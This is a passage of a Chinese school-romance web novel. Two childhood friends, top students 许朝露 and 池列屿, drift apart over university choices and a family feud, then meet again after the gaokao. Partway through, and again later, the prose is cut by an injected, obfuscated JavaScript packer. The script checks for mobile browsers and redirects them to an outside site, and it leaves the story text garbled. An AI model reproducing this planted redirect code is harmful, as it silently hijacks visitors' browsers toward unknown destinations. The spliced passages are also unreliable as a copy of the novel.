《大雨落下的瞬间》 1. 雨天 三模出成绩的下午,浓云淤积,铅灰色天幕下,热浪不知倦地腾涌。正值下课,几个男生从教室溜出来透气,趴在走廊栏杆上,吹并不清爽的风。 一男生眺望楼下,揉揉眼说:“雨、雨……” “结巴什么?”同伴嘲笑他,“这鬼天气,早该下雨了。” “屿哥回来了!”后半句说完,男生转身一个箭步窜回教室,抬高音量再次报幕,“池列屿回来了!在楼下广场上接受采访,牛波一啊!” 一阵吊诡的寂静后,乒乒乓乓、哐哐当当,教室里埋头苦学的高三生像被乱风卷起,蜂拥向走廊。 许朝露在队伍最末,慢腾腾挪开椅子,刚站起身,就碰到打水回来的同桌舒夏。 水杯丢到桌面,舒夏拽着许朝露往外走:“池列屿终于舍得回来了,这一年在外面玩爽死他了吧……天,怎么这么多人!” 怪报幕员嚎得太响亮,除了他们班,同层的其他班级也闻风而动,整条走廊挤得水泄不通,栏杆上人头攒动,上百双眼睛同时向下瞭,瞻仰神仙英姿。 重点高中不缺学神,像池列屿这样高二就保送的竞赛大神也有那么几个,但校友册往前翻十年估计都找不出模样比他更正的,所以走廊上除开本班同学,其他班飞奔出来围观的,多数是女生。 舒夏带着许朝露挤进人堆,踮脚往下看,喟叹道:“太久没见这家伙了,乍一看可真带劲。你还记得他上回来学校是什么时候吗?” 许朝露想了想:“好像是学期初的时候吧。” 距今差不多三个月。 从小到大,这似乎是她和池列屿断开联系最久的一次。 许朝露的视线穿过人群缝隙,掠向楼底的喷泉广场。 厚重阴云挤压着天空,随时要落雨的样子。 昏惨惨的日光下,校领导、记者、摄像围着一个高挑少年,他肤色很白,透着冷感,五官棱角分明,是极客观的英俊,带有攻击性,在师长面前刻意收敛了锋芒,显得安静淡漠,听到教学楼上有人咋咋呼呼喊他名字,偏头散漫地斜瞭上去,眼尾锋利如刃,又透出桀骜冷冽。 毫无特点的夏季校服套在他身上硬是利落洒然,布料洗得雪白,衬得人也干净冷亮,惨淡天光下独一抹的耀眼。 池大校草许久不来学校露面,一来便是电视台采访,公然耍帅,很快不止他们这一层,别的楼层也挤满了围观群众,蔚为壮观。 谁也没想到,比教导主任先一步驱散人群的,是雨。 猝不及防地,狂风呼啸而至,低矮浓云破开一个口子,转瞬间大雨倾盆,昏天黑地。 豆大的雨丝斜砸进走廊,学生们吱哇乱叫、推推搡搡、抱头鼠窜,惊慌中夹杂兴奋,苦闷的高三少有这样时刻,可以东倒西歪,放肆尖叫,恨不得暴风雨来得更猛烈些,把学校都掀翻。 许朝露趁乱瞟了眼栏杆外,雨帘厚重,完全看不清楼底的情况。 出风头出到老天都看不下去,除了他也没谁了。 楼底下,狂风携着副校长茂盛的假发离家出走,仅剩一颗灯泡闪亮。 池列屿没忍住“我草”了声,所幸风大雨大无人听见,他也装作什么都没看见,转身跑进旁边的教学楼躲雨。 校领导和记者去了行政楼,池列屿那部分已经采完,没跟着他们,径直回他自己班上。 身上被雨淋得湿漉,他边上楼边烦躁地搓头发,校服半透贴住修长匀称的肩背,楼道有女生经过,呼吸骤然停顿,想掏餐巾纸给他,手才伸进口袋,他人已经目不斜视走远了。 来到二楼,池列屿停在年级办公室门口。 门边贴着高三年级百名榜,是今天刚出的三模排名,全年级不分选课,按总分排列。 他习惯性望向最高处—— 年级第一,高三2班,许朝露(物化生)。 漫不经心逐行往下扫,池列屿瞥见另一个名字,从前稳定年级前十,这一次连前三十都没进。 转个弯就到高三2班,教室门口有扫脸打卡机,池列屿进门的时候摄像头自动捕捉到他,拍下一张模糊侧脸。 同班同学推推挤挤去看他的打卡照。 女生低呼:“好有氛围感!” 男生怒骂:“你个狗啊上次打卡87天前,你咋不等我们死了再来!” 教室里热闹得像过年,池列屿被簇拥着回老位置坐下,扯着唇角有一搭没一搭地和阔别已久的兄弟唠嗑,前排女生频率很高地往后转,只有少数几人在安静刷题,许朝露是其一。 她扎着不高不矮的马尾,头发乌亮顺滑,从池列屿这个角度,只能看到一小片瓷白肌肤、秀气的耳朵和挺翘鼻尖。 窄窄一隙视野,片刻就被人遮挡住。 “池列屿竟然八十七天没来学校了。”舒夏问许朝露,“你和他那么熟,最近肯定见过面吧?” 许朝露边算题边回答:“没有。” “奇了怪了。”舒夏说,“不止最近,你俩整个高三都很奇怪。” 许朝露偏过头,看到舒夏弓着身子,正在偷看桌兜里的手机。 舒夏爱玩短视频,有个账号名叫“夏夏的生活碎片”,从初中开始记录学习娱乐日常,粉丝七千多,算是个小博主。 她这会儿正在翻以前发布的视频,翻到去年冬天,学校举办跨年晚会,许朝露和池列屿的歌曲节目过关斩将杀上大舞台。正式演出的时候,舒夏全程录像,视频发上网,点赞过万,让她小火了一把。 “瞧瞧你俩高二的时候,一个唱歌一个弹吉他,关系多好啊,现在怎么变这么生疏。” 上课铃在这时打响,老师还没出现。 许朝露扭头看了眼隔壁组最后一排,那人桌面空空荡荡,长腿斜伸到过道,人仰靠着椅背,身边同学散开后他脸上表情也散尽,冷淡放空,存在感却极强,许朝露明显感觉今天班里的气场和以前很不一样。 她收回目光,低声对舒夏说:“是因为家里的原因。我爸和池列屿他爸不是在同一家公司么?去年他俩工作上起了争端,王不见王,给公司造成了不良影响,后来他爸带着团队离职,我爸也被降级,两败俱伤,我们两家就不来往了。” “所以是你爸不让你和他玩啊?”舒夏叹气,“那就没办法了。” 许朝露爸爸确实提过,希望她以后少去池家玩,但也没有强求。 最近一段时间他们两家的关系已经有所好转,她和池列屿却越走越远。 许朝露感觉,家里的矛盾,不是她和池列屿闹僵的唯一原因。 另一个原因她并不确定,所以也不方便告诉舒夏。 老师走上讲台,教室里像按下了静音键,被窗外翛翛唳唳的风雨声衬托,如同真空。 高考迫在眉睫,许朝露不再多想什么,专心对付眼前的功课。 一直到下午放学,雨都没停。 校园里葳蕤草木被雨浇透,湿绿发亮,在斜风里不住点头,墙角青苔肆意生长。 许朝露和舒夏结伴前往食堂,身后不远跟着成群的同班男生,边走边欠虐地围着某位神仙打听保送之后有多爽、国家队集训是不是特牛逼、大学预科班学什么难不难,羡慕眼红的鬼叫声传遍整条校道。 舒夏正偷听着,随手摸了下口袋,忽地停下脚步:“手机落教室了!” 手机是舒夏的命根子,上了高三也难分难舍。饭可以不吃网不能不上,她当即决定返回教室找手机。 两人约在超市汇合。 舒夏离开后,许朝露百无聊赖摸出手机,好几通未接来电,最早一通拨出的时候她还没下课。 许朝露汗颜,脚尖一转,走到僻静小径上,回拨电话:“妈,你今天很闲啊?” 话筒那头,林女士语气急切:“三模出成绩了?怎么样?” 许朝露摸摸下巴,故作深沉:“还行吧,就那样。” “就那样是哪样啊?” “全市第四。”绷不住了,尾巴很明显地翘起来。 “……” 一阵吸气声后,林若晗女士发出标志性爽朗大笑。她人在网店工作室,转头就将这个消息广而告之,许朝露隔着电话都听到她员工热烈的鼓掌声,顿时 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林若晗始终认为大人的矛盾不该影响孩子的情谊,之前老许让露露少和小屿来往,她就持反对意见。 许朝露真不确定她和池列屿什么时候能和好:“高考完吧……不对,出成绩之后吧……哎,还是等录取之后吧。” 林若晗一头雾水:“有区别吗?” 有的。 许朝露解释不清楚,蓦地压低声音:“不说了!” 林若晗:“为什么不说……” 通话掐断。 因为池列屿像鬼一样突然出现在了她旁边。 不知道他什么时候进来超市,此刻也踱到了水果货架前,与许朝露并排。 货架不高,背靠玻璃窗,他们的身影倒映在灰蒙蒙的玻璃上。少年清瘦峻拔,比少女高了一整个头,许朝露记得他俩高二体检身高差刚好二十厘米,现在似乎又拉大了点,这家伙该不会快一米九了吧? 货架上水果琳琅满目,池列屿略微弓身,手指瘦长又白净,随意拎起一袋车厘子。 仿佛压根没看见她,他转身走向收银台。 许朝露目光下意识跟过去。 错身而过时,耳畔飘来熟悉的、清冷又散漫的声音:“悠着点吧,再看要收费。” 许朝露嘴巴比脑子快:“你以为我愿意看你?那是最后一袋车厘子。” 池列屿眼皮都没抬,车厘子丢她手上:“赏你了。” 他左手捏着罐汽水,罐身蒙着的冷雾在指尖微微化开,面朝收银台,偏头瞥她,不太耐烦的样子:“快点。” 十几年培养出来的默契,池列屿一个眼神许朝露就知道这位大少爷要请客了。出手大方的男孩子脾气差点是应该的,许朝露眼睛一弯,回了句“您稍等”,转身从货架上抱起一大盒草莓,又去饮料柜顺走一瓶咖啡两瓶奶茶,回到池列屿身后规规矩矩站好。 来到收银台,池列屿放下孤零零一罐汽水,指指后头:“一起结了。” 许朝露心安理得:“再来个塑料袋,谢谢。” 久违的相处,许朝露觉得他们好像也没有生疏太多。 池列屿从口袋掏出校园卡,嘀的一声付了账。他指尖夹着卡,漫不经心向后递去:“给你了。” 许朝露怔住:“为什么?” 池列屿:“卡里充的钱不知道能不能退,你花掉吧。” 许朝露读懂他潜台词:“你以后就不来学校了吗?” “嗯。” “有那么忙么?” “预科班读到六月,之后要出国旅游。” 许朝露酸溜溜地说:“不愧是保送K大的屿神,和我们高中生已经不在一个level了。” 池列屿扯起唇角,冷冷淡淡道:“露神谬赞,S大对你而言也是手到擒来。” 看吧。 许朝露心说。 他果然还是因为这个事情很不爽。 2. 雨天 池列屿把校园卡丢给她,拎着汽水长腿一迈,径自走出了超市。 校园卡正面印有照片,是高一入学时拍的证件照。 十五岁青葱少年,面庞略显稚嫩,那双眼睛却已初露锋芒,内双窄而深,如薄刃,眸子漆黑,坦坦荡荡直视镜头,眸光里尽是桀骜。 许朝露戳了戳照片里少年的额头,忽然想起方才池列屿结账时读卡器上一闪而过的余额数字。 他嫌校园卡充值麻烦,总是习惯一口气充很多,慢慢用。 许朝露退回收银台前,把校园卡放上读卡器,确认了上面的数字。 还剩三千三百块! 他们高中是市重点,食堂有补贴,许朝露平常花钱挺大手大脚了,在学校一个月也用不掉两千块。距离高考不到二十天,她自己卡里还有钱,怎么花得完池列屿这三千多啊! 超市外头,连绵一下午的阴雨渐渐收梢,池列屿朝等他的几个男生走过去,顺手掏出震不停的手机—— 贺星诀:【快!猜猜我三模成绩!】 贺星诀:【算了你肯定懒得猜,我自己说】 贺星诀:【685!超过K大去年分数线了!】 贺星诀:【激动死我了TAT,终于离你和露露王又近了一步,你们要在K大等我啊!】 露露王是许朝露小学时期的外号。他们小学的荣誉墙贼浮夸,第一名要拍单人海报,戴王冠坐宝座。许朝露的海报上了荣誉墙就没下来过,同学们每天经过荣誉墙都要瞻仰她的王者之姿,“露露王”这个称谓应运而生。 随着年龄增长,这么中二的外号,只剩贺星诀还挂在嘴边了。 池列屿低头打字:许朝露又不考K大。 想了想,又把这行字删掉。 贺星诀当年中考失利,没考上池列屿和许朝露这所高中,受了很大打击。之后三年,他铆足了劲要和两个发小一起考上K大,继续当校友。 如果他知道许朝露不考K大了,可能会断了他那股劲儿。池列屿决定暂时不告诉他。 眨眼间,贺星诀又发来一条:【露露王三模考了多少分你知道吗?】 池列屿:【718】 贺星诀:【沃日】 贺星诀:【不愧是我们的王!】 许朝露走出超市,抬眼便望见池列屿站在男生堆里低头玩手机,扯着一边唇角,皮笑肉不笑的拽样。 他看上去性子疏冷,不易接近,人缘却一直很好,男生堆里很玩得开,走哪都有一群人围着。 许朝露想把校园卡还给他,让他请他兄弟们吃饭。 “嗨,朝露。”迎面走来一个高瘦男生,脸色略苍白,朝她挤出笑意,“恭喜你呀,三模成绩再创新高。” 许朝露回以微笑:“你也要加油。” 男生名叫李景轩,长相俊朗,成绩也很好。高二一整年,许朝露只有一次大考没考年级第一,那次的年级第一就是李景轩,许朝露因此对他产生好奇,之后又萌生了朦朦胧胧的好感。 现在再遇见,她连当初心动的点在哪都想不起来。 对方主动和她攀谈,想在学习上取经,许朝露面上礼貌回应,心里却在盘算舒夏还有几分钟能到,怎么那么慢。 “朝露也是他喊的?脸可真大。”不远处,高三2班男生看见李景轩勾搭他们班女神,言语间充满鄙夷,“三模成绩都掉到三十七名了,露神怎么可能还鸟他。” 池列屿睨了眼那边光景,冷淡垂眸,继续玩手机。 又有人说:“露神没那么势利吧。我听女生说,是因为露神之前潜伏李景轩他们班班群,看到他在群里嘲讽女生鞋码大,瞬间下头。” 多人附和:“下头,真的下头。” 池列屿跟着散漫地颔了颔首。 记得最后一次去许朝露家,她还在说和李景轩一起参加S大学科营的事儿。 没想到这么快,这个男人就沦为了往事云烟。 “我走了。”池列屿拨开肩上搭的手臂,“你们有空在这儿围观,不如去食堂多扒几口。” “一起吃完饭再走吧?” “算了。食堂这个点剩的菜不是人吃的。” “你他妈,快滚吧!” 池列屿从善如流地倒退两步,单手握着易拉罐,食指曲起,熟练地勾开拉环,只听“啵”的一声轻响,他扬了扬唇,将易拉罐稍稍举高—— 高考在即,祝各位吃好喝好,前程远大。 闷一口汽水,池列屿转身离去。 后头一片聒噪——“这狗比真能耍帅”“我屿哥的帅用得着耍吗”“在K大等老子啊”“这就走了,外面雨停了吗”…… 不知不觉间,天边早已云开雨霁,绽露一缕霞光。 - 高考那几天,别班的保送生都回校为考生打气助威,唯独池列屿,全校保送生里竞赛分数最高的没露面。 毕业典礼他倒是来参加了,头发长了点,散乱地撩拨着眉棱,还是那股冷淡桀骜劲儿,人群中帅得很醒目,方圆十米内拥挤程度堪比国庆的景区。 舒夏怂恿许朝露约池列屿过阵子一起旅游,被泼冷水:“他明天出国玩,七月都不一定能回来。” 后来果然一个多月没见。 全年最热的几天,许朝露窝在家里保养前阵子去海边晒黑的皮肤。从高三刑满释放的人,直到现在才完全适应无所事事的生活,躺在沙发上心安理得吹空调玩手机。 消息推送“夏夏的生活碎片”更新了视频,许朝露点进去,看到舒夏在视频里分享见前男友的穿搭。可是她明明没谈过恋爱啊? 许朝露熟练地点赞收藏加弹幕:【学到了,今天就这么穿】 仿佛心有灵犀,下一秒,舒夏的微信消息弹出来—— 夏夏:【啊啊啊!我收到C大的录取通知书了!!!】 传媒大学网络媒体专业,可以光明正大上网冲浪冲到吐,和她再合适不过。 喜之郎:【恭喜!!!】 夏夏:【你的录取通知书呢,还没到吗?】 喜之郎:【这两天应该会到吧】 夏夏:【快点快点,我要晒我和我朋友的录取通知书,让粉丝知道我身边全是牛人,嘿嘿】 夏夏:【等等,那好像会暴露我是最菜的一个?】 闲聊间,许朝露切回短视频界面,翻看舒夏以前发布的视频。 她的视频点赞量起伏很大,区别在于某个姓池的有没有出镜。 许朝露找点赞量高的看。 高三拍的视频不多,没一会儿就从盛夏翻回凛冬——那天池列屿有来学校,舒夏逮着机会,在大课间拍了个“月考前十名学霸梦校采访”的视频。 从第十名依次往前采访,许朝露是第一名,压轴登场。 视频里的她清了清嗓,一本正经:“S大吧,有降分优惠,稳扎稳打就能上,离我家还近。” “稳扎稳打上S大……神的世界我果然不懂。”舒夏配上旁白,镜头一转,对准隔壁组最后一排,“接下来还有一位,咱班传说中的第零名,信竞国赛金牌,高二就保送的大神……哎,你先别睡,聊几句啊!” 少年神情冷漠,头发丝都写着不耐烦,睨了舒夏一眼就抓着短短的额发弓身趴了下去,装死。 “神仙就是觉多,估计昨晚通宵抓鬼。”舒夏有点尴尬,“我替他说了吧,他保送的K大。看过我之前视频的小伙伴都知道,他和刚才那个第一名的大美女是发小,合称2班双神……” 许朝露凑近手机,指尖轻点进度条,往回拉—— 两分四十三秒左右,池列屿是翻白眼了吧? 这个白眼应该不是翻给舒夏,而是翻给她的。 回忆不由分说将她带回视频拍摄之前几天。 那天,池列屿最后一次来她家——因为长辈势同水火,他特地挑了大人不在的时候来。小辈之间的气氛多少受到影响,那天他们各学各的,几乎没怎么说话,尤其是许朝露,整个人气压非常低,一点也不像她。 刚过去的高三上学期,许是心态有些走歪,许朝露的成绩波动很大,从前稳坐年级第一的人频频爆冷。 那段时间正巧赶上国内几所顶级高校开展学科营活动,也就是变相的自主招生。许朝露竞赛拿过省一,是头号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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S大招生组给池列屿打电话的时候,许朝露正好在他家,狗皮膏药似的贴在他身旁偷听,听见招生组老师许诺王牌专业、奖学金,甚至要约池列屿吃饭详谈,许朝露扯住他衣摆狂摇头、双手比叉、龇牙恐吓,池列屿险些笑场,然后就婉拒了招生办老师的吃饭邀请。 “选K大吧,别去S大。”许朝露怂恿他,“不和我一起去K大,你会后悔的。” “有这种事。”池列屿挑眉,“说来听听。” 许朝露:“从高一到现在,我蹭你校园卡的……多少顿饭来着?” “179顿。” 读卡器吗你记这么清? “高三肯定还不完,大学我再接着还吧。但是你要是不和我一个大学可就蹭不到我的卡了,K大和S大离好远呢。” 不久后,池列屿确定保送K大。 而之前死乞白赖怂恿他选K大的人,反而改换了目标。 肯定会很不爽吧。 许朝露自己都有点烦自己。 这一回事,加上两家长辈决裂,一度到了势不两立的境地,许朝露和池列屿不可避免地渐渐疏远, 应该没有别的原因了?许朝露想不到还有其他地方能惹到他。 池列屿这人说是脾气差、没耐性,但是和他混久了就知道,拽王只是表象,熟人堆里他才是最无所顾忌的一个,难听点叫没下限,很难有人真正惹到他,让他急眼,而他对朋友更没话说,付钱永远争先,打架永远殿后,在他身边安全感是顶天立地的,让人放肆无拘束,许朝露常常觉得自己丢三落四老是把校园卡弄没的毛病就是池列屿这位款爷惯出来的,所以,高中三年应该没有其他事情能让他们感情疏远了吧? …… 炎炎盛夏,蝉在浓荫里嘶声长鸣,毕业后的假期比想象中漫长得多。 许朝露退出短视频软件,从沙发上爬起来,回房间换衣服。她前阵子和家人去沿海城市旅游,舒夏和她很久没见了,刚在微信上约她一起去商场喝冷饮。 路过书桌,桌角搁着张校园卡,卡里的钱已经被她摆大款挥霍光了。之所以把这张卡光明正大放在这儿,走过路过都会看见某人那张冷淡嚣张的脸,就是为了提醒自己,拿人手短吃人嘴软,毕业了也别忘记还钱。 许朝露从衣柜拎出一条蓝色吊带裙,囫囵套到头顶,丢在床上的手机突然唱起了歌,陌生来电。 “喂?” “……” 刚听了一句话,许朝露猛地将裙子往下一扯,转身冲出房间。 回来时,她手里多了一份已经被迫不及待拆开的邮政快递。 是她的K大录取通知书。 3. 天使 高考出分那天,查询时间还没到,K大招生组就已经打爆了许朝露的手机。 他们先在电话里控制住她,接着派人找上门,带她去酒店吃饭、聊专业,其间还转移了一次阵地,免得被S大招生组的人找到。 无法用语言形容许朝露当时心里有多爽,她没有当场表态,高贵冷艳地把两所大学的招生辞令都听了一遍,回家再慢慢考虑。 犹记得那天下午晚霞似火,烧红了整片天,流光溢彩的热烈。 众所周知三模卷子普遍简单,用来给考生重塑自信心,而许朝露的高考成绩比三模还要高。那一天,她忽然发现过往的一切,包括反复横跳的梦校都变成了来时路上的里程碑,用绝对实力攀上的高峰,前方豁然开朗,任君驰骋,就如同这片烈火烹油的天。 最终,她选择了一直以来向往的K大。 录取通知书在桌上摊平整,许朝露拍了几张照片,发给池列屿。 半个多月前和K大签约时她就通知他了,这家伙当时在国外,不冷不热回了句“恭喜”,拽得很。过了两天许朝露才想起来有时差,每次和他发消息他那边都是凌晨,竟然还能秒回。 照片发出去,没一会儿,池列屿也回了张照片。 也是K大录取通知书,贺星诀的。 许朝露猜他的手机已经不在他手上,果不其然,下一秒“池列屿”就给她打来语音电话。 贺星诀穿透力极强的声音传来:“露露王,你什么时候回来的?” “前天晚上,大半夜才到。” “那你现在快来吃草家,我好想你啊!吃草也在吃草。” 吃草即池列屿。一种说法是池大校草简称池草,这也是大多数人以为的这个外号来由,帅就完事儿。然而真正的起源只有熟人知晓——池列屿、许朝露和贺星诀小时候经常一起吃午饭,许朝露非常挑食,总是把蔬菜丢给不挑食的池列屿,贺星诀有样学样,池列屿的饭碗被他俩堆得像个草垛,埋头吃饭就像在吃草,于是许朝露狗腿地尊称他为“吃草大王”。直到现在,她给池列屿的备注还是“吃草”。 “吃你爹的草。”池列屿的声音从听筒中传来,清沉劲峭,挟着一股凶残劲儿,“我这是蔬菜沙拉。” “好吧。”贺星诀改口,“吃草不在吃草,他也在想你。” “……” 撂了电话,许朝露脱下刚穿好的裙子,换了身T恤短裤——去池列屿家肯定要盘腿坐地上,穿裙子不方便。 池列屿家就在同一个小区,许朝露埋头冲过毒辣阳光,钻进池列屿家楼下的树荫时,看到一顶眼熟的波点遮阳伞正在慢慢靠近。 “夏夏?” 十几分钟前,许朝露在微信上和舒夏说不去商场喝冷饮了,让她来池列屿家,一起点冷饮外卖。 舒夏家也在附近,步行过来很快。 “这鬼天气,出门五分钟朕都快要升天了。”舒夏收起伞,露出身上的明黄色龙袍T恤,许朝露差点被闪瞎眼,认出这件衣服来自她今天分享的见前男友穿搭视频——“还不跪下”系列。 “你们三个都去K大了,就剩我。今天说什么也要在气势上碾压你们。” “碾压,这可太碾压了。”许朝露弓身扶起了舒夏的手臂,“小的带您上楼吧。” 电梯上行,舒夏盯着跳动的楼层数字喃喃:“感觉有一年没来池列屿家了。” 舒夏严格意义上不算他们的发小。她初中才搬来这片区,先和许朝露玩得好,后来才加入他们的小团体,从初一到现在,也一起玩了六年了。 小团体里两个男生,贺星诀超级社牛,和舒夏很玩得来,池列屿就不太行。舒夏初一有段时间疯狂迷恋池列屿那张脸,不出意外被拒绝得体无完肤,让她彻底看清这人,冷淡自负,嚣张到没边,当朋友还行,想泡他是万万不行。 舒夏非常好奇池列屿以后会找什么样的女朋友,天底下存在治得住他的女生吗?许朝露可能算一个,但他俩相处起来太坦荡。要知道,爱情总是萌发于躲藏的视线、隐秘的心跳、想触碰又缩回的手,但许朝露面对池列屿时,只有光明磊落。 池列屿家的门敞着,许朝露和舒夏一前一后走进去。 贺星诀听见脚步声,扭头向后看:“卧槽,陛下驾到?” “卧槽!”舒夏的声音比他更炸裂,“贺星诀,你你你……你怎么变成这样了!” 贺星诀高中三年不住在这边的房子里。中考失利对他打击太大,这三年他沉迷学习,杜绝玩乐,不仅和小伙伴不怎么见面,连食欲都锐减了大半,尤其是高三,短短一年他暴瘦三十多斤,从圆润的胖小子一下子瘦成闪电,大眼睛高鼻梁窄下巴,陌生的帅气里夹杂着异样的熟悉感,舒夏不知道该怎么形容了,只能尖叫捂嘴为敬。 “我上个月见他的时候也差不多。”许朝露拍了拍舒夏肩膀,“那天在室外,我以为我中暑出现幻觉了,蹲在地上缓了半天都没好,差点拨打120。” “你们够了。”贺星诀拿起抱枕砸过去,既烦躁又有点乐,加入帅哥行列多少让人沾沾自喜。 他儿时外号是“橘子”,源于许朝露小时候吐字不清,老把他叫做“贺星橘”,而且他长得圆又胖,也像个橘子。这绰号吉利,连他爸妈都爱叫,贺星诀瘦下来之后他们还挺忧伤:“不会把福气都瘦没了吧?” 舒夏胳膊夹住他丢过来的抱枕,人还懵着,走过去戳了下贺星诀的脸,又戳了下胳膊,嘴里咕哝:“真的假的?” 许朝露跟着捏了捏他修长的胳膊:“这手感,该不会是肌肉吧?” “什么叫该不会?看不起谁啊?”贺星诀瞅她俩像采花贼,“我警告你们,离我远点哈。” 舒夏:“变帅了不让人摸,如锦衣夜行。你懂不懂?” 这话油腻得舒夏自己都哆嗦,贺星诀重点则放在“变帅了”三个字上,抬手搓了搓脸,憋着笑,毫无气势地反驳:“吃草更帅,怎么没人摸他?” 突然被提及的人坐在沙发另一头,懒散靠着,两条长腿敞开,脚踝斜斜地交叠,目光游离地睨着他们,像在看三个大傻子。 比贺星诀更具攻击性的帅气,舒夏自毕业后再没见到他,这会儿有被惊艳到,小心脏突突地跳,下意识说:“这谁敢上手啊……” 贺星诀:“对我就敢上手是吧?” “谁让你是朵娇花。” “靠,那他是什么?” 舒夏一时想不到形容词,许朝露倒是若有所悟:“他是带刺的野玫瑰。” 舒夏狂点头:“对味!” “是吧。”许朝露挺得意,抓着手机走到“野玫瑰”身边坐下,“喝点什么吗?今天我请。” 刻意地拉近距离,反而泄露出生分。 池列屿掀起眼帘看她。浓黑眸子,轻微下三白,冷淡锋利眼尾,凑成一双典型的薄情眼,看什么都显得满不在乎、可有可无。 “别凑这么近。”他音色一如既往的冷冽,带着欠劲儿,“当心被扎成筛子。” 这是已经代入野玫瑰角色了。 许朝露莫名萌生一股受虐冲动,想凑得更近点,被他扎出一身血窟窿。 池列屿身上有种吸引力,准确的说是披着引诱皮囊的挑衅,让人明知前方是刀山剑雨,也忍不住想闯一闯。 “爱喝不喝。”许朝露低头戳外卖软件,“给你点个无糖加热苦瓜汁……” 下一瞬,一股清冽干净的气息从身侧袭来,是池列屿身上常带的香味——绿意十足的醋栗叶清香,冰冰凉,有清晰皂感。许朝露一直以来都很喜欢这个味道。 许久没闻到,她不由得深呼吸,余光瞥见黑色衣料贴近,轻轻擦过她手肘。 刚让她离他远点的人,此刻散漫地倾身过来,一只手搭在她身后沙发靠背,另一只手伸到她眼皮底下,堂而皇之拎走了她的手机。 许朝露凑过去看他点什么,脑后有轻微牵扯感——他人已经仰回去,左手还搁在她身后沙发沿,压住了她几缕发梢。 许朝露挤在池列屿脸前边,看他草率地滑动屏幕,冷饮图片刷刷往上飞。 “等等,刚有个海盐玫瑰冰茶。”许朝露捕捉到关键词“玫瑰”,“感觉还不错呢。” “听起来就很难喝。” “你对自己有点信心好不。”许朝露把手机抢回来,“我点一杯尝尝。” “我对自己挺有信心的。”池列屿嗤然一笑,“想尝,现成的要不要?” 话落,他阔绰地抬起一只胳膊,横到许朝露面前。 小时候有段时间吸血鬼电影和动漫很流行,他们几个住得近的小朋友常聚在一起扮演吸血鬼玩,用手臂代替脖子,互相咬来咬去,像一群民智未开的野人。池列屿非常嫌弃这个游戏,他从小洁癖,不喜欢咬人,更不愿意被人咬。 所有小朋友中只有许朝露咬过他,还是她事先帮他写完当天的作业,这位高冷大少爷才肯伸出胳膊让她啃。 光阴似箭,少年仿佛一夜之间抽条拔节,手臂线条变得修长清劲,冷白皮肤下一道道筋脉浮凸,力量感分明。 许朝露目光落在上面,心说体脂率这么低,咬上去会硌牙吧。 长大后他们的肢体接触减少了很多,青春期的少男少女,关系再好也时刻注意着分寸。至于今天,池列屿突然把胳膊送过来给她尝尝,许朝露把这当做一个示好的信号—— 她这一口下去,之前一年的疏离就算画上句号。 往后还是好朋友。 许朝露双手抓住池列屿胳膊,张开嘴,牙尖磕上少年温热紧实的肌肤。 “你们在干什么?”贺星诀突然大叫,“妈呀,露露王吃人了!” 许朝露原本只有牙齿碰到池列屿胳膊,被贺星诀嚷得一激灵,舌头没压住,也贴了上去。 干干净净没什么滋味,只吃到一嘴青涩冷香。 少女柔软湿热的舌苔舔过皮肤,唇齿也陷入,那一瞬间像在吮吸他。 池列屿眼皮很轻地抽动了一下。 许朝露立刻松开他,懒得解释,心平气和地问:“舒夏去哪了?” 贺星诀:“她上洗手间了。” 舒夏恰好从洗手间出来:“我听见什么了?谁在吃人?” “没谁。”许朝露把手机丢给她,“想喝什么快点,我渴得要吸血了!” 声音莫名有点大,不知道在急躁什么。 许朝露反应过来,讪讪地摸摸脖子,问池列屿:“叔叔姨姨不在家吧?” 话落,在场除了池列屿之外的两人都条件反射地瑟缩了下,像老鼠听见猫叫。 没有人不怕池列屿的妈妈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947512|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >池列屿的亲生母亲在他小时候就去世了,现在这个妈妈是继母,严厉、强势,比教导主任还恐怖百倍的存在,许朝露他们对她多少都有点心理阴影。 “不在啦,我来之前问过了。”贺星诀说,“而且我们都毕业了,嘉钰阿姨还能按着我们去学习不成。” “也是。”许朝露舒了口气,坐相全无地倒回沙发上,“那放个恐怖片看吧。” 贺星诀挠挠头:“有没有一个小时能结束的恐怖片?我晚点要去上贝斯课,吃草好像也有事。” 两个女生炸毛了:“你们有事还叫我们过来?” “你俩走过来才几分钟?多久没见了,就一点也不想我呗。” “那你说现在干嘛吧。” “随便放个综艺,然后玩点小游戏。” “什么游戏?” “守护天使。”贺星诀早有预谋,“初中的时候玩过一次,你们还记得吗?” 关于初中的记忆,贺星诀无疑是最清晰的。没和伙伴们考上同一所高中,他就时常翻阅初中三年的回忆,像挤压一颗青涩发苦的橘子,蔓延出来的汁水成为他走过接下来三年的养料,总有一天要和他们在更高处重逢。 “想起来了。”舒夏说,“说好抽签决定守护谁,结果所有签纸上都是你的名字,真不要脸。” “哈哈哈,后来不是重新抽了一次吗!”贺星诀不知从哪儿摸出一张草稿纸,对折再对折,“怎么样,玩嘛玩嘛。” 许朝露挺感兴趣,挤到茶几旁边帮他撕纸:“我记得游戏规则是,抽到谁的名字就要默默对谁好,完成ta的心愿,或者送礼物。” 贺星诀:“我就直说了,我需要一个人陪我参加贝斯俱乐部的聚会,最好是女生,嘿嘿。” 许朝露和舒夏都很漂亮,尤其是许朝露,高挑纤细身材,鹅蛋脸,一双杏眼清纯又柔和,眼尾微翘,笑起来含着媚意,让人春风拂面又心怦怦跳,毫无争议的一眼美人。有这样的女生朋友别提多拉风,更何况还是顶级学神。 冷饮送到,许朝露取进来,四杯都是海盐玫瑰冰茶,她拿一杯递给池列屿:“你玩不玩?” 视线扫过他白净修长的小臂,牙印已经消失了。 许朝露卷了卷舌尖,不知怎的,那股清冷的草叶香味还没从她口腔散尽。 池列屿兴致缺缺,过了一会儿才懒散地站起来,像座料峭山峰拔地而起,肩背平直宽阔,让人联想到迎风的帆,挺拔不屈的张扬。 